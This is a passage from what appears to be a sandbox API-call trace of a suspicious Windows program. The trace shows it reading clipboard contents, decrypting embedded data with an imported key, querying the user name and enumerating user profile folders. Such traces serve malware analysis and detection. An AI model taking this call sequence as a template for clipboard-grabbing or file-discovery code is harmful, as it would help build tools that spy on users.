riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1e2de990 | out: ppvObject=0x1e2de990*=0x1d469640) returned 0x0 [0189.278] IUnknown:QueryInterface (in: This=0x1d469640, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1e2dea20 | out: ppvObject=0x1e2dea20*=0x0) returned 0x80004002 [0189.278] IUnknown:QueryInterface (in: This=0x1d469640, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1e2de640 | out: ppvObject=0x1e2de640*=0x0) returned 0x80004002 [0189.278] IUnknown:QueryInterface (in: This=0x1d469640, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1e2de218 | out: ppvObject=0x1e2de218*=0x0) returned 0x80004002 [0189.279] IUnknown:AddRef (This=0x1d469640) returned 0x3 [0189.279] IUnknown:QueryInterface (in: This=0x1d469640, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1e2de0d8 | out: ppvObject=0x1e2de0d8*=0x0) returned 0x80004002 [0189.279] IUnknown:QueryInterface (in: This=0x1d469640, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1e2de060 | out: ppvObject=0x1e2de060*=0x0) returned 0x80004002 [0189.279] IUnknown:QueryInterface (in: This=0x1d469640, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1e2de050 | out: ppvObject=0x1e2de050*=0x0) returned 0x80004002 [0189.279] CoGetContextToken (in: pToken=0x1e2de100 | out: pToken=0x1e2de100) returned 0x0 [0189.279] IUnknown:QueryInterface (in: This=0x4b0340, riid=0x7ffa5f004998*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1e2de078 | out: ppvObject=0x1e2de078*=0x4b0358) returned 0x0 [0189.279] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0358, pAptType=0x1e2de100 | out: pAptType=0x1e2de100*=0) returned 0x0 [0189.279] IUnknown:Release (This=0x4b0358) returned 0x0 [0189.279] CoGetObjectContext (in: riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2edea8 | out: ppv=0x1d2edea8*=0x4b0340) returned 0x0 [0189.283] CoGetContextToken (in: pToken=0x1e2de580 | out: pToken=0x1e2de580) returned 0x0 [0189.283] IUnknown:QueryInterface (in: This=0x1d469640, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1e2de640 | out: ppvObject=0x1e2de640*=0x0) returned 0x80004002 [0189.283] IUnknown:Release (This=0x1d469640) returned 0x2 [0189.283] CoGetContextToken (in: pToken=0x1e2dec40 | out: pToken=0x1e2dec40) returned 0x0 [0189.283] CoGetContextToken (in: pToken=0x1e2deb40 | out: pToken=0x1e2deb40) returned 0x0 [0189.283] IUnknown:QueryInterface (in: This=0x1d469640, riid=0x1e2deca0*(Data1=0x10e, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1e2dec70 | out: ppvObject=0x1e2dec70*=0x1d469640) returned 0x0 [0189.283] IUnknown:AddRef (This=0x1d469640) returned 0x4 [0189.284] IUnknown:Release (This=0x1d469640) returned 0x3 [0189.284] IUnknown:Release (This=0x1d469640) returned 0x2 [0189.285] CoGetContextToken (in: pToken=0x1e2ded40 | out: pToken=0x1e2ded40) returned 0x0 [0189.287] CoGetContextToken (in: pToken=0x1e2dec40 | out: pToken=0x1e2dec40) returned 0x0 [0189.287] IUnknown:QueryInterface (in: This=0x1d469640, riid=0x1e2deda0*(Data1=0x3cee8cc1, Data2=0x1adb, Data3=0x327f, Data4=([0]=0x9b, [1]=0x97, [2]=0x7a, [3]=0x9c, [4]=0x80, [5]=0x89, [6]=0xbf, [7]=0xb3)), ppvObject=0x1e2ded70 | out: ppvObject=0x1e2ded70*=0x0) returned 0x80004002 [0189.542] IDataObject:QueryGetData (This=0x1d469640, pformatetc=0x1e2df198) returned 0x8004006a [0189.550] RegisterClipboardFormatW (lpszFormat="FileNameW") returned 0xc007 [0189.550] IDataObject:QueryGetData (This=0x1d469640, pformatetc=0x1e2df198) returned 0x8004006a [0189.551] RegisterClipboardFormatW (lpszFormat="FileName") returned 0xc006 [0189.551] IDataObject:QueryGetData (This=0x1d469640, pformatetc=0x1e2df198) returned 0x8004006a [0189.561] OleGetClipboard (in: ppDataObj=0x1e2df138 | out: ppDataObj=0x1e2df138*=0x1d469640) returned 0x0 [0189.561] IUnknown:QueryInterface (in: This=0x1d469640, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1e2de980 | out: ppvObject=0x1e2de980*=0x1d469640) returned 0x0 [0189.561] IUnknown:Release (This=0x1d469640) returned 0x3 [0189.561] CoGetContextToken (in: pToken=0x1e2dec30 | out: pToken=0x1e2dec30) returned 0x0 [0189.561] IUnknown:AddRef (This=0x1d469640) returned 0x4 [0189.561] IUnknown:Release (This=0x1d469640) returned 0x3 [0189.561] IUnknown:Release (This=0x1d469640) returned 0x2 [0189.561] CoGetContextToken (in: pToken=0x1e2ded30 | out: pToken=0x1e2ded30) returned 0x0 [0189.561] CoGetContextToken (in: pToken=0x1e2dec30 | out: pToken=0x1e2dec30) returned 0x0 [0189.561] IUnknown:QueryInterface (in: This=0x1d469640, riid=0x1e2ded90*(Data1=0x3cee8cc1, Data2=0x1adb, Data3=0x327f, Data4=([0]=0x9b, [1]=0x97, [2]=0x7a, [3]=0x9c, [4]=0x80, [5]=0x89, [6]=0xbf, [7]=0xb3)), ppvObject=0x1e2ded60 | out: ppvObject=0x1e2ded60*=0x0) returned 0x80004002 [0189.562] IDataObject:QueryGetData (This=0x1d469640, pformatetc=0x1e2df198) returned 0x0 [0189.574] OleGetClipboard (in: ppDataObj=0x1e2df138 | out: ppDataObj=0x1e2df138*=0x1d469640) returned 0x0 [0189.575] IUnknown:QueryInterface (in: This=0x1d469640, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1e2de980 | out: ppvObject=0x1e2de980*=0x1d469640) returned 0x0 [0189.575] IUnknown:Release (This=0x1d469640) returned 0x3 [0189.575] CoGetContextToken (in: pToken=0x1e2dec30 | out: pToken=0x1e2dec30) returned 0x0 [0189.575] IUnknown:AddRef (This=0x1d469640) returned 0x4 [0189.575] IUnknown:Release (This=0x1d469640) returned 0x3 [0189.575] IUnknown:Release (This=0x1d469640) returned 0x2 [0189.575] CoGetContextToken (in: pToken=0x1e2ded30 | out: pToken=0x1e2ded30) returned 0x0 [0189.575] CoGetContextToken (in: pToken=0x1e2dec30 | out: pToken=0x1e2dec30) returned 0x0 [0189.575] IUnknown:QueryInterface (in: This=0x1d469640, riid=0x1e2ded90*(Data1=0x3cee8cc1, Data2=0x1adb, Data3=0x327f, Data4=([0]=0x9b, [1]=0x97, [2]=0x7a, [3]=0x9c, [4]=0x80, [5]=0x89, [6]=0xbf, [7]=0xb3)), ppvObject=0x1e2ded60 | out: ppvObject=0x1e2ded60*=0x0) returned 0x80004002 [0189.575] IDataObject:QueryGetData (This=0x1d469640, pformatetc=0x1e2df128) returned 0x0 [0190.003] IDataObject:RemoteGetData (in: This=0x1d469640, pformatetcIn=0x1e2df128, pRemoteMedium=0x1e2df040 | out: pRemoteMedium=0x1e2df040) returned 0x0 [0190.008] GlobalLock (hMem=0x1b480018) returned 0x1d431690 [0190.008] GlobalUnlock (hMem=0x1b480018) returned 0 [0190.009] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x4d0590*=0x824, lpdwindex=0x1e2ded24 | out: lpdwindex=0x1e2ded24) returned 0x0 [0190.168] CoGetContextToken (in: pToken=0x1e2dd570 | out: pToken=0x1e2dd570) returned 0x0 [0190.168] CoGetContextToken (in: pToken=0x1e2dd540 | out: pToken=0x1e2dd540) returned 0x0 [0190.168] CoGetContextToken (in: pToken=0x1e2dd440 | out: pToken=0x1e2dd440) returned 0x0 [0190.168] IUnknown:Release (This=0x1d469640) returned 0x1 [0190.168] IUnknown:Release (This=0x1d469640) returned 0x0 [0199.147] CoGetContextToken (in: pToken=0x1e2df9f0 | out: pToken=0x1e2df9f0) returned 0x0 [0199.148] CoUninitialize () Thread: id = 322 os_tid = 0x1318 Thread: id = 324 os_tid = 0x9a8 Thread: id = 327 os_tid = 0xf14 [0196.801] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0196.803] CoGetContextToken (in: pToken=0x1f2df4f0 | out: pToken=0x1f2df4f0) returned 0x0 [0196.803] IUnknown:QueryInterface (in: This=0x4b00f0, riid=0x7ffa5f004998*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1f2df528 | out: ppvObject=0x1f2df528*=0x4b0108) returned 0x0 [0196.803] IComThreadingInfo:GetCurrentThreadType (in: This=0x4b0108, pThreadType=0x1f2df598 | out: pThreadType=0x1f2df598*=0) returned 0x0 [0196.803] IUnknown:Release (This=0x4b0108) returned 0x1 [0196.803] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0196.803] CoUninitialize () [0196.803] RoInitialize () returned 0x1 [0196.803] RoUninitialize () returned 0x0 [0203.669] CryptAcquireContextW (in: phProv=0x1f2dcbb8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1f2dcbb8*=0x1b2f3290) returned 1 [0203.671] CryptImportKey (in: hProv=0x1b2f3290, pbData=0x27a6c88*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x1f2dcb40 | out: phKey=0x1f2dcb40*=0x1d4505a0) returned 1 [0203.672] CryptContextAddRef (hProv=0x1b2f3290, pdwReserved=0x0, dwFlags=0x0) returned 1 [0203.672] CryptContextAddRef (hProv=0x1b2f3290, pdwReserved=0x0, dwFlags=0x0) returned 1 [0203.672] CryptDuplicateKey (in: hKey=0x1d4505a0, pdwReserved=0x0, dwFlags=0x0, phKey=0x1f2dcb30 | out: phKey=0x1f2dcb30*=0x1d4501b0) returned 1 [0203.672] CryptContextAddRef (hProv=0x1b2f3290, pdwReserved=0x0, dwFlags=0x0) returned 1 [0203.672] CryptSetKeyParam (hKey=0x1d4501b0, dwParam=0x4, pbData=0x27a6da8*=0x1, dwFlags=0x0) returned 1 [0203.672] CryptSetKeyParam (hKey=0x1d4501b0, dwParam=0x1, pbData=0x27a6d58, dwFlags=0x0) returned 1 [0203.673] CryptDestroyKey (hKey=0x1d4505a0) returned 1 [0203.673] CryptReleaseContext (hProv=0x1b2f3290, dwFlags=0x0) returned 1 [0203.673] CryptReleaseContext (hProv=0x1b2f3290, dwFlags=0x0) returned 1 [0203.673] CryptDecrypt (in: hKey=0x1d4501b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27a6dc8, pdwDataLen=0x1f2dcc90 | out: pbData=0x27a6dc8, pdwDataLen=0x1f2dcc90) returned 1 [0203.673] CryptDecrypt (in: hKey=0x1d4501b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27a7b70, pdwDataLen=0x1f2dcc80 | out: pbData=0x27a7b70, pdwDataLen=0x1f2dcc80) returned 0 [0207.606] CryptDestroyKey (hKey=0x1d4501b0) returned 1 [0207.606] CryptReleaseContext (hProv=0x1b2f3290, dwFlags=0x0) returned 1 [0207.606] CryptReleaseContext (hProv=0x1b2f3290, dwFlags=0x0) returned 1 [0208.500] GetUserNameW (in: lpBuffer=0x1f2ddac0, pcbBuffer=0x1f2ddde8 | out: lpBuffer="RDhJ0CNFevzX", pcbBuffer=0x1f2ddde8) returned 1 [0208.506] CoTaskMemAlloc (cb=0x20c) returned 0x1b35c220 [0208.506] GetSystemDirectoryW (in: lpBuffer=0x1b35c220, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0208.507] CoTaskMemFree (pv=0x1b35c220) [0208.734] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2ddce0) returned 1 [0208.735] GetFullPathNameW (in: lpFileName="C:\\Users\\", nBufferLength=0x105, lpBuffer=0x1f2dd7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\", lpFilePart=0x0) returned 0x9 [0208.736] FindFirstFileW (in: lpFileName="C:\\Users\\*" (normalized: "c:\\users\\*"), lpFindFileData=0x1f2dd9f0 | out: lpFindFileData=0x1f2dd9f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x3ce179de, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3ce179de, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a8a0 [0208.737] FindNextFileW (in: hFindFile=0x1d46a8a0, lpFindFileData=0x1f2dd9b0 | out: lpFindFileData=0x1f2dd9b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x3ce179de, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3ce179de, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.738] FindNextFileW (in: hFindFile=0x1d46a8a0, lpFindFileData=0x1f2dd9b0 | out: lpFindFileData=0x1f2dd9b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x4f6643a1, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0x4f6643a1, ftLastAccessTime.dwHighDateTime=0x1d112ea, ftLastWriteTime.dwLowDateTime=0x4f6643a1, ftLastWriteTime.dwHighDateTime=0x1d112ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0208.738] FindNextFileW (in: hFindFile=0x1d46a8a0, lpFindFileData=0x1f2dd9b0 | out: lpFindFileData=0x1f2dd9b0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0208.738] FindNextFileW (in: hFindFile=0x1d46a8a0, lpFindFileData=0x1f2dd9b0 | out: lpFindFileData=0x1f2dd9b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x4f6643a1, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0x4f6643a1, ftLastAccessTime.dwHighDateTime=0x1d112ea, ftLastWriteTime.dwLowDateTime=0x4f6643a1, ftLastWriteTime.dwHighDateTime=0x1d112ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1 [0208.738] FindNextFileW (in: hFindFile=0x1d46a8a0, lpFindFileData=0x1f2dd9b0 | out: lpFindFileData=0x1f2dd9b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3757c8c, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x973af366, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x973af366, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0208.739] FindNextFileW (in: hFindFile=0x1d46a8a0, lpFindFileData=0x1f2dd9b0 | out: lpFindFileData=0x1f2dd9b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x436238c4, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1 [0208.739] FindNextFileW (in: hFindFile=0x1d46a8a0, lpFindFileData=0x1f2dd9b0 | out: lpFindFileData=0x1f2dd9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ce179de, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x84ac775d, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x84ac775d, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RDhJ0CNFevzX", cAlternateFileName="RDHJ0C~1")) returned 1 [0208.739] FindNextFileW (in: hFindFile=0x1d46a8a0, lpFindFileData=0x1f2dd9b0 | out: lpFindFileData=0x1f2dd9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ce179de, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x84ac775d, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x84ac775d, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RDhJ0CNFevzX", cAlternateFileName="RDHJ0C~1")) returned 0 [0208.739] FindClose (in: hFindFile=0x1d46a8a0 | out: hFindFile=0x1d46a8a0) returned 1 [0208.739] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2ddc10) returned 1 [0208.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2ddbd0) returned 1 [0208.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2ddce0) returned 1 [0208.740] GetFullPathNameW (in: lpFileName="C:\\Users\\", nBufferLength=0x105, lpBuffer=0x1f2dd7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\", lpFilePart=0x0) returned 0x9 [0208.741] FindFirstFileW (in: lpFileName="C:\\Users\\*" (normalized: "c:\\users\\*"), lpFindFileData=0x1f2dd9f0 | out: lpFindFileData=0x1f2dd9f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x3ce179de, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3ce179de, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0208.741] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dd9b0 | out: lpFindFileData=0x1f2dd9b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x3ce179de, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3ce179de, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.741] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dd9b0 | out: lpFindFileData=0x1f2dd9b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x4f6643a1, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0x4f6643a1, ftLastAccessTime.dwHighDateTime=0x1d112ea, ftLastWriteTime.dwLowDateTime=0x4f6643a1, ftLastWriteTime.dwHighDateTime=0x1d112ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0208.741] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dd9b0 | out: lpFindFileData=0x1f2dd9b0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0208.742] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dd9b0 | out: lpFindFileData=0x1f2dd9b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x4f6643a1, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0x4f6643a1, ftLastAccessTime.dwHighDateTime=0x1d112ea, ftLastWriteTime.dwLowDateTime=0x4f6643a1, ftLastWriteTime.dwHighDateTime=0x1d112ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1 [0208.742] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dd9b0 | out: lpFindFileData=0x1f2dd9b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3757c8c, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x973af366, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x973af366, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0208.742] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dd9b0 | out: lpFindFileData=0x1f2dd9b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x436238c4, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1 [0208.742] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dd9b0 | out: lpFindFileData=0x1f2dd9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ce179de, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x84ac775d, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x84ac775d, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RDhJ0CNFevzX", cAlternateFileName="RDHJ0C~1")) returned 1 [0208.742] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dd9b0 | out: lpFindFileData=0x1f2dd9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0208.743] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0208.743] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2ddc10) returned 1 [0208.743] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2ddbd0) returned 1 [0208.935] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dd520) returned 1 [0208.936] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users", nBufferLength=0x105, lpBuffer=0x1f2dd000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users", lpFilePart=0x0) returned 0x12 [0208.936] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\*" (normalized: "c:\\users\\all users\\*"), lpFindFileData=0x1f2dd230 | out: lpFindFileData=0x1f2dd230*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x2c65ef44, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x2c65ef44, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0208.938] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dd1f0 | out: lpFindFileData=0x1f2dd1f0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x2c65ef44, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x2c65ef44, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.938] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dd1f0 | out: lpFindFileData=0x1f2dd1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c65ef44, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x2c65ef44, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x2c65ef44, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x36d, dwReserved0=0x0, dwReserved1=0x0, cFileName="27d1bcfc3c54e0", cAlternateFileName="27D1BC~1")) returned 1 [0208.938] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dd1f0 | out: lpFindFileData=0x1f2dd1f0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, 